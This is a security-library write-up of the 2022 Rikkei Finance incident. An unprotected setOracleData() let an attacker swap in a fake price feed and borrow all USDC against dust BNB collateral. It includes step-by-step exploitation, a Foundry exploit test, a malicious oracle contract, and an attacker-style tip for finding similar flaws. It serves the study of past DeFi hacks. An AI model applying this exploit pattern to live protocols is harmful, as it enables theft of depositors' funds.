# Rikkei Finance: public setOracleData enables oracle price manipulation

Rikkei Finance's SimplePriceOracle exposed a public setOracleData(), letting an attacker swap in a fake price feed and borrow out all USDC against near-worthless BNB collateral.

- Payout: Real-world hack
- Severity: critical
- Program: Rikkei Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2022-04-15
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-04/Rikkei_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220415-rikkei
- Tags: area:web3 domain:web3 impact:funds-loss impact:mass-exploit kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic vuln:oracle-manipulation

**Target:** SimplePriceOracle / lending market (Cointroller, rTokens) on BSC
**Root cause:** SimplePriceOracle.setOracleData() had public visibility with no access control, so anyone could point an rToken's price source at an arbitrary contract. The lending market trusted that feed for collateral valuation.
**Steps:**
1. Fork BSC at block 16956474; attacker holds ~0 USDC.
2. `rbnb.approve(address(cointroller), type(uint256).max)` and `cointroller.enterMarkets([rbnb])`.
3. Supply tiny collateral: `rbnb.mint{value: 100_000_000_000_000}()` (0.0001 BNB).
4. Call `simplePriceOracle.setOracleData(address(rbnb), address(this))` to replace rBNB's price feed with the attacker contract.
5. Attacker contract's `latestRoundData()` returns the real Chainlink answer multiplied by `1e10`, inflating rBNB's price.
6. Borrow the entire market: `rusdc.borrow(rusdc.getCash())`.
7. Transfer borrowed rUSDC out, then restore the oracle via `setOracleData(address(rbnb), address(chainlinkBNBUSDPriceFeed))`.
**How found:** Attacker read the PriceOracle source and noticed setOracleData() was declared public/external with no owner check, making the price feed itself attacker-controllable.
**Exploitation:** Attacker supplied 0.0001 BNB as collateral, repointed rBNB's oracle to a self-controlled contract returning Chainlink price ×1e10, then borrowed all available rUSDC from the market and moved it out. Proceeds (~2600 BNB, ~$1.085M) were laundered through Tornado Cash in batches.
**Escalation:** Inflating the collateral price by 1e10 turned a dust-sized BNB deposit into enough borrowing power to drain the entire rUSDC cash reserve in one transaction.
**Insight:** On lending forks, grep the oracle contract for any externally callable setter (setOracleData, setPrice, setFeed) lacking onlyOwner; if present, a self-owned feed returning an inflated latestRoundData() lets you borrow the whole market against dust collateral.

## Proof of concept (copied exactly from the original report)

**Exploit test calling public setOracleData to fake price**

```
function testExploit() public {
        emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(address(this)));
        rbnb.approve(address(cointroller), type(uint256).max);
        address[] memory rTokens = new address[](1);
        rTokens[0] = address(rbnb);
        cointroller.enterMarkets(rTokens);
        rbnb.mint{value: 100_000_000_000_000}();
        simplePriceOracle.setOracleData(address(rbnb), address(this));
        rusdc.borrow(rusdc.getCash());
        rusdc.transfer(msg.sender, rusdc.balanceOf(address(this)));
        simplePriceOracle.setOracleData(address(rbnb), address(chainlinkBNBUSDPriceFeed));
        emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(address(this)));
    }
```

**Malicious oracle contract returning inflated price**

```
function latestRoundData()
        external
        view
        returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound)
    {
        (roundId, answer, startedAt, updatedAt, answeredInRound) = chainlinkBNBUSDPriceFeed.latestRoundData();
        answer = answer * 1e10;
    }
```

